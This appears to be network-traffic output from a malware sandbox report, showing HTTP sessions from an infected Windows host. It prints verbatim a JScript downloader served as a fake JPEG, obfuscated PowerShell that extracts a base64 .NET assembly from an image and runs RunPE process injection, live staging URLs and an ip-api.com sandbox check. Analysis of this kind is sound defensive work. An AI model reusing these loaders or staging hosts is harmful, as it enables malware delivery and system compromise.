Jul 2, 2024 08:22:16.112360001 CEST	8.8.8.8	192.168.2.22	0x38fc	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:22:18.618108988 CEST	8.8.8.8	192.168.2.22	0x3224	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

uploaddeimagens.com.br

192.3.243.156

41.216.183.13

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	192.3.243.156	80	976	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:09.856952906 CEST	321	OUT	GET /portugalslovenia.jpeg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.243.156 Connection: Keep-Alive
Jul 2, 2024 08:22:10.441570997 CEST	1229	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Last-Modified: Mon, 01 Jul 2024 17:13:25 GMT Accept-Ranges: bytes ETag: "d1fce4fbd9cbda1:0" Server: Microsoft-IIS/10.0 Date: Tue, 02 Jul 2024 06:22:10 GMT Content-Length: 1002 Data Raw: ff fe 76 00 61 00 72 00 20 00 6e 00 75 00 62 00 6c 00 61 00 72 00 2c 00 20 00 70 00 61 00 63 00 68 00 6f 00 75 00 63 00 68 00 61 00 64 00 61 00 2c 00 20 00 63 00 6f 00 6e 00 73 00 74 00 69 00 74 00 75 00 63 00 69 00 6f 00 6e 00 61 00 6c 00 2c 00 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 3b 00 0d 00 0a 00 6e 00 75 00 62 00 6c 00 61 00 72 00 20 00 3d 00 20 00 6e 00 65 00 77 00 20 00 41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 22 00 4d 00 53 00 58 00 4d 00 4c 00 32 00 2e 00 53 00 65 00 72 00 76 00 65 00 72 00 58 00 4d 00 4c 00 48 00 54 00 54 00 50 00 22 00 29 00 3b 00 0d 00 0a 00 6e 00 75 00 62 00 6c 00 61 00 72 00 2e 00 6f 00 70 00 65 00 6e 00 28 00 22 00 47 00 45 00 54 00 22 00 2c 00 20 00 22 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 34 00 31 00 2e 00 32 00 31 00 36 00 2e 00 31 00 38 00 33 00 2e 00 31 00 33 00 2f 00 55 00 73 00 65 00 72 00 73 00 5f 00 41 00 50 00 49 00 2f 00 42 00 72 00 61 00 69 00 6e 00 69 00 61 00 63 00 4d 00 41 00 58 00 2f 00 66 00 [TRUNCATED] Data Ascii: var nublar, pachouchada, constitucional, command;nublar = new ActiveXObject("MSXML2.ServerXMLHTTP");nublar.open("GET", "http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt", false);nublar.send();if (nublar.status === 200) { pachouchada = nublar.responseText; constitucional = new ActiveXObject("WScript.Shell"); cochila = "powershell -Command \"" + pachouchada + "\""; constitucional.Run(cochila, 0, true); constitucional = null;}nublar = null;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	41.216.183.13	80	2884	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:11.011322021 CEST	214	OUT	GET /Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 41.216.183.13
Jul 2, 2024 08:22:11.705590010 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:21:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Mon, 01 Jul 2024 17:12:43 GMT ETag: "aab-61c32b4926bec" Accept-Ranges: bytes Content-Length: 2731 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: ef bb bf 2e 28 20 24 70 53 48 6f 4d 65 5b 32 31 5d 2b 24 70 53 68 6f 6d 65 5b 33 34 5d 2b 27 78 27 29 20 28 20 28 27 74 30 76 6c 69 6e 6b 20 3d 20 41 6d 61 68 74 74 70 73 3a 2f 2f 75 70 6c 6f 61 64 64 65 27 2b 27 69 6d 61 67 65 6e 73 2e 63 6f 6d 2e 62 72 2f 69 6d 61 67 65 73 2f 30 30 34 2f 38 30 37 2f 30 35 33 2f 6f 72 69 67 69 6e 27 2b 27 61 6c 2f 6e 65 77 5f 69 6d 61 67 65 2e 6a 70 67 3f 31 37 31 39 38 34 36 32 33 35 41 6d 61 3b 20 74 30 76 77 65 62 43 6c 69 65 6e 74 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 3b 20 74 72 79 20 7b 20 74 30 76 64 6f 77 6e 6c 6f 61 64 65 64 44 61 74 61 20 3d 20 74 30 76 77 65 62 43 6c 69 65 6e 74 2e 44 6f 77 6e 6c 6f 61 64 44 61 74 61 28 74 30 76 6c 69 6e 6b 29 20 7d 20 63 61 74 63 68 27 2b 27 20 7b 20 57 72 69 74 65 2d 48 6f 73 74 20 41 6d 61 46 61 69 6c 65 64 20 54 6f 20 64 6f 27 2b 27 77 6e 6c 6f 61 64 20 64 61 74 61 20 66 72 6f 6d 20 74 30 76 6c 69 6e 27 2b 27 6b 41 6d 61 20 2d 46 6f 72 65 67 72 6f 75 6e [TRUNCATED] Data Ascii: .( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::
Jul 2, 2024 08:22:11.705612898 CEST	174	IN	Data Raw: 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 74 30 76 62 61 73 65 36 34 43 27 2b 27 6f 6d 6d 61 6e 64 29 3b 20 74 30 76 6c 6f 61 64 65 64 41 73 73 65 6d 62 6c 79 20 3d 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 27 2b Data Ascii: FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma)
Jul 2, 2024 08:22:11.705622911 CEST	1236	IN	Data Raw: 3b 20 74 30 76 6d 65 74 68 6f 64 20 3d 20 74 30 76 74 79 70 65 2e 47 65 74 4d 65 74 68 6f 64 28 41 6d 61 56 41 49 41 6d 61 29 2e 49 6e 76 6f 6b 65 28 74 27 2b 27 30 76 6e 75 6c 6c 2c 20 5b 6f 62 6a 65 63 74 5b 5d 5d 20 28 41 6d 61 74 78 74 2e 65 Data Ascii: ; t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptbloc
Jul 2, 2024 08:22:11.705746889 CEST	396	IN	Data Raw: 6f 61 64 28 74 30 76 63 6f 6d 6d 61 6e 64 42 79 74 65 73 29 3b 20 74 30 76 74 79 70 65 20 3d 20 74 30 76 6c 6f 61 64 65 64 41 73 73 65 6d 62 6c 79 2e 27 2b 27 47 65 74 54 79 70 65 28 41 6d 61 52 75 6e 50 45 2e 48 6f 6d 65 41 6d 61 29 3b 20 74 30 Data Ascii: oad(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , Amade
Jul 2, 2024 08:22:11.919759989 CEST	396	IN	Data Raw: 6f 61 64 28 74 30 76 63 6f 6d 6d 61 6e 64 42 79 74 65 73 29 3b 20 74 30 76 74 79 70 65 20 3d 20 74 30 76 6c 6f 61 64 65 64 41 73 73 65 6d 62 6c 79 2e 27 2b 27 47 65 74 54 79 70 65 28 41 6d 61 52 75 6e 50 45 2e 48 6f 6d 65 41 6d 61 29 3b 20 74 30 Data Ascii: oad(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , Amade

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49164	192.3.243.156	80	2200	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:14.567187071 CEST	85	OUT	GET /ourTraditionalbase.txt HTTP/1.1 Host: 192.3.243.156 Connection: Keep-Alive
Jul 2, 2024 08:22:15.170011997 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Mon, 01 Jul 2024 14:41:04 GMT Accept-Ranges: bytes ETag: "30b179b3c4cbda1:0" Server: Microsoft-IIS/10.0 Date: Tue, 02 Jul 2024 06:22:15 GMT Content-Length: 325632 Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8DEAAAAMAwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCN4TesJWblN3ch9CPK0gPvZmbJR3c1JHdvwDIgoQD+kHdpJXdjV2cvwDIgACIK0gPzV2ZlxWa2lm
Jul 2, 2024 08:22:15.170038939 CEST	1236	IN	Data Raw: 63 51 52 57 5a 30 4e 58 5a 31 46 58 5a 79 39 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 76 49 53 5a 7a 78 57 59 6d 4a 53 50 7a 4e 58 5a 6a 4e 57 51 70 56 48 49 69 49 58 5a 72 39 6d 64 75 6c 30 63 68 4a 53 50 73 56 6d 64 6c 78 47 49 73 56 6d 64 6c Data Ascii: cQRWZ0NXZ1FXZy9CPgACIgACIK0gPvISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkbvlGd1NWZ4VEZlR3clVXclJHPgACIgACIgAiCN4jIzYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegMXZnVGbpZXayBFZlR3clVXclJHPgACIgACIK0gP5RXayV3YlNHPgACIgoQD+IiM25
Jul 2, 2024 08:22:15.170052052 CEST	448	IN	Data Raw: 41 77 41 41 4d 41 45 41 41 41 45 41 2b 41 41 41 41 76 42 67 5a 41 34 47 41 4a 42 51 5a 41 77 47 41 70 42 67 52 41 63 47 41 75 42 51 61 41 49 48 41 30 42 77 55 41 45 41 41 41 49 41 48 45 41 4c 41 41 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 30 Data Ascii: AwAAMAEAAAEA+AAAAvBgZA4GAJBQZAwGApBgRAcGAuBQaAIHA0BwUAEAAAIAHEALAAAAAAAAAuBwbAkGA0BQYAwGAzBgbAEGAyBAVAAAAEAAJAAAAAAwbAYGAuBQSAUGAsBQaAYEAyBQYAYFABAAAAQEAAAAAAAAAAAAAAAAAAAQAAAAAEAAAAAAAAAwPAAAAAAQAAAAAAAAAAEAAAAQAAAg/vTQvAAAAAAwTAYEAOBQSA8FAOB
Jul 2, 2024 08:22:15.170062065 CEST	1236	IN	Data Raw: 41 51 42 41 41 41 67 42 67 41 41 41 49 41 41 41 41 51 41 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AQBAAAgBgAAAIAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Jul 2, 2024 08:22:15.170078039 CEST	1236	IN	Data Raw: 42 64 51 77 42 49 77 68 41 42 41 41 42 49 55 55 67 53 34 51 73 43 4b 68 44 68 4c 6f 45 47 63 67 44 4f 6b 75 67 53 45 41 49 47 55 75 67 53 41 41 49 46 67 51 73 43 4b 52 41 31 4b 6f 45 56 34 51 73 43 4b 52 50 42 4b 52 34 43 4b 68 44 48 63 67 46 4a Data Ascii: BdQwBIwhABAABIUUgS4QsCKhDhLoEGcgDOkugSEAIGUugSAAIFgQsCKRA1KoEV4QsCKRPBKR4CKhDHcgFJCoEAAQBO0SgS0RAAcACI0SgS0RLBKRLBKRHI4wBHERgAKRHAAgBhERIRIgAAcACBCoEdgwAHgAATgQACAiBA4RA9JRFGAgHBktgSUxBIAgHIUQHIUtgSYwBMEsgSAAIF0sgSEQAgYQzCKBAAUgDFLoEBAgBI4gDVG
Jul 2, 2024 08:22:15.170088053 CEST	1236	IN	Data Raw: 48 41 47 6f 45 64 41 59 67 53 30 42 67 42 4b 42 43 46 30 42 43 41 47 6f 45 4e 63 51 4a 49 55 51 48 43 63 51 42 49 45 6f 67 53 49 77 42 47 67 51 66 43 4b 68 41 48 59 67 44 42 55 57 67 53 55 68 44 4f 49 41 41 4b 67 51 65 53 6b 66 67 53 34 51 48 74 Data Ascii: HAGoEdAYgS0BgBKBCF0BCAGoENcQJIUQHCcQBIEogSIwBGgQfCKhAHYgDBUWgSUhDOIAAKgQeSkfgS4QHtGoEOEQTSUhBHIBCI4QHOEQTSUhDI4gDO0BWBKhDB0kEVswBZgAbBKBbBKRANJRFDcQDL4QAAQAXBGRAKUQdCGhCBAgBkFYEBoQBIcACIcACIgACKoACIsAXBGRHIgACIMxBYgwAdgACI4QHIgACJcQDgFYEBoQBN0
Jul 2, 2024 08:22:15.170094013 CEST	1236	IN	Data Raw: 44 42 30 6b 45 56 73 77 42 6b 67 67 44 42 45 4f 67 52 55 42 51 42 4b 68 44 4f 45 51 54 53 55 42 51 42 4b 52 41 4e 4a 52 46 47 63 51 47 43 67 52 41 43 41 53 42 49 67 41 43 43 41 51 42 49 67 67 44 64 67 67 44 46 30 42 43 49 41 55 67 53 67 41 43 46 Data Ascii: DB0kEVswBkggDBEOgRUBQBKhDOEQTSUBQBKRANJRFGcQGCgRACASBIgACCAQBIggDdggDF0BCIAUgSgACF0RBdgSgS4QpBKBGOAUgSEQTSUxEHUyAOEAAEgwAdMQHI4QHD0BQBKhDO4gDO4QHO4AQBKRANJRFQcwHI4ACOgQBdUQHOgwBMggDOIQXSUhDCEcgRUBQBKhDQFoEOAUgSEQTSUxBH4BCAFoEB0kEVAUgS4gDOgACO4
Jul 2, 2024 08:22:15.170351982 CEST	1236	IN	Data Raw: 48 49 67 51 48 49 67 41 43 49 30 42 43 64 34 77 44 48 67 42 43 49 55 51 48 49 4d 41 49 48 6f 41 43 42 41 41 42 78 49 59 45 74 49 59 45 70 49 59 45 4f 45 41 42 67 30 41 43 41 46 6f 45 42 45 4f 67 52 55 68 44 42 45 4f 67 52 55 68 44 42 45 4f 67 52 Data Ascii: HIgQHIgACI0BCd4wDHgBCIUQHIMAIHoACBAABxIYEtIYEpIYEOEABg0ACAFoEBEOgRUhDBEOgRUhDBEOgRUhDBEOgRUBQBKRANJRFAFoEC4ACIgACAFoEI4gACUQHIEigS4gDO4QANJRFO4QANJRFOEQTSUhDO4gDAFoEB0kEVEyBYhACO0BQBKRANJRFAFoEO4AHY0PgSwR/AKBGY0PgSgR/AKRIR0PgSgBHIgBGIgRIRwBCYg
Jul 2, 2024 08:22:15.170363903 CEST	1236	IN	Data Raw: 44 64 41 55 67 53 45 51 54 53 55 42 51 42 4b 68 44 4f 34 67 44 6c 47 6f 45 4f 55 61 67 53 34 41 51 42 4b 52 41 4e 4a 52 46 4f 63 77 49 52 48 6f 45 41 41 53 42 49 55 51 48 4f 45 67 67 53 55 51 48 4e 48 6f 45 46 30 78 42 48 41 42 43 49 34 51 48 41 Data Ascii: DdAUgSEQTSUBQBKhDO4gDlGoEOUagS4AQBKRANJRFOcwIRHoEAASBIUQHOEggSUQHNHoEF0xBHABCI4QHAFoEF0RpBKhDlGoEOAUgSEQTSUhCHoBCI4QHAFoEB0kEVAUgS4gDdAUgSEQTSUBCHoBCAFoEB0kEVAUgS4QfBKhD9FoEO4gDO4AQBKRANJRFNcQIOUfgSEAIG0ZgS0BAgYgDdGoEdEAIHgACdGoEdgQnBKRHAFoEO4
Jul 2, 2024 08:22:15.170373917 CEST	1236	IN	Data Raw: 42 47 67 77 41 42 41 41 42 46 30 68 41 4f 55 61 67 53 45 41 49 47 55 61 67 53 59 41 42 49 4d 51 48 44 30 78 41 64 67 67 44 64 67 67 44 64 67 67 44 64 34 51 48 41 46 6f 45 46 30 68 44 6c 47 6f 45 4f 55 61 67 53 34 51 70 42 4b 68 44 46 30 68 44 64 Data Ascii: BGgwABAABF0hAOUagSEAIGUagSYABIMQHD0xAdggDdggDdggDd4QHAFoEF0hDlGoEOUagS4QpBKhDF0hDdAUgSEQTSUxFHETnBKBAgUAAT0BAgUACI4QHI4QHAFoEO4gDIUQHYFoEOAUgSEQTSUhDOEQTSUhDRcAJO0ZgSEAAG4QAhDYEVYAChEBCO0hDBEOgRUBQBKRBd4gDC0lEVUQHO4gDdgZgS4AQBKRANJRFOEQTSUBEH8
Jul 2, 2024 08:22:15.174990892 CEST	1236	IN	Data Raw: 67 52 55 42 43 41 4d 52 41 42 41 53 42 70 44 6f 45 41 41 51 42 4f 45 51 54 53 55 52 42 73 46 6f 45 42 45 4f 67 52 55 42 43 51 48 6f 45 42 30 6b 45 56 63 41 62 42 4b 52 41 4e 4a 52 46 48 67 51 64 52 34 51 48 51 48 6f 45 42 45 4f 67 52 55 42 62 42 Data Ascii: gRUBCAMRABASBpDoEAAQBOEQTSURBsFoEBEOgRUBCQHoEB0kEVcAbBKRANJRFHgQdR4QHQHoEBEOgRUBbBKRAhDYEVAdgSAdgSwWgSAdgSEQTSUBbBKRANJRFKcgLdIBAgQwAd4QAgUgDdIRAgUAATAAIEAUgSEQ4AGRFIAwEBEOgRUBAgkAQBKRANJRFHgwAdUXEO0BQBKRAhDYEVAUgS0hEAFoEB0kEVgwBd4gDO4gDEAwBIU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49166	208.95.112.1	80	3000	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:16.125739098 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 2, 2024 08:22:16.628196001 CEST	174	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:22:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 6 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Jul 2, 2024 08:22:16.843653917 CEST	174	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:22:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 6 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49167	192.3.243.156	80	2200	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:17.016139030 CEST	61	OUT	GET /ourTraditionalbase.txt HTTP/1.1 Host: 192.3.243.156
Jul 2, 2024 08:22:17.620157957 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Mon, 01 Jul 2024 14:41:04 GMT Accept-Ranges: bytes ETag: "30b179b3c4cbda1:0" Server: Microsoft-IIS/10.0 Date: Tue, 02 Jul 2024 06:22:17 GMT Content-Length: 325632 Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8DEAAAAMAwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCN4TesJWblN3ch9CPK0gPvZmbJR3c1JHdvwDIgoQD+kHdpJXdjV2cvwDIgACIK0gPzV2ZlxWa2lm
Jul 2, 2024 08:22:17.620182037 CEST	1236	IN	Data Raw: 63 51 52 57 5a 30 4e 58 5a 31 46 58 5a 79 39 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 76 49 53 5a 7a 78 57 59 6d 4a 53 50 7a 4e 58 5a 6a 4e 57 51 70 56 48 49 69 49 58 5a 72 39 6d 64 75 6c 30 63 68 4a 53 50 73 56 6d 64 6c 78 47 49 73 56 6d 64 6c Data Ascii: cQRWZ0NXZ1FXZy9CPgACIgACIK0gPvISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkbvlGd1NWZ4VEZlR3clVXclJHPgACIgACIgAiCN4jIzYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegMXZnVGbpZXayBFZlR3clVXclJHPgACIgACIK0gP5RXayV3YlNHPgACIgoQD+IiM25
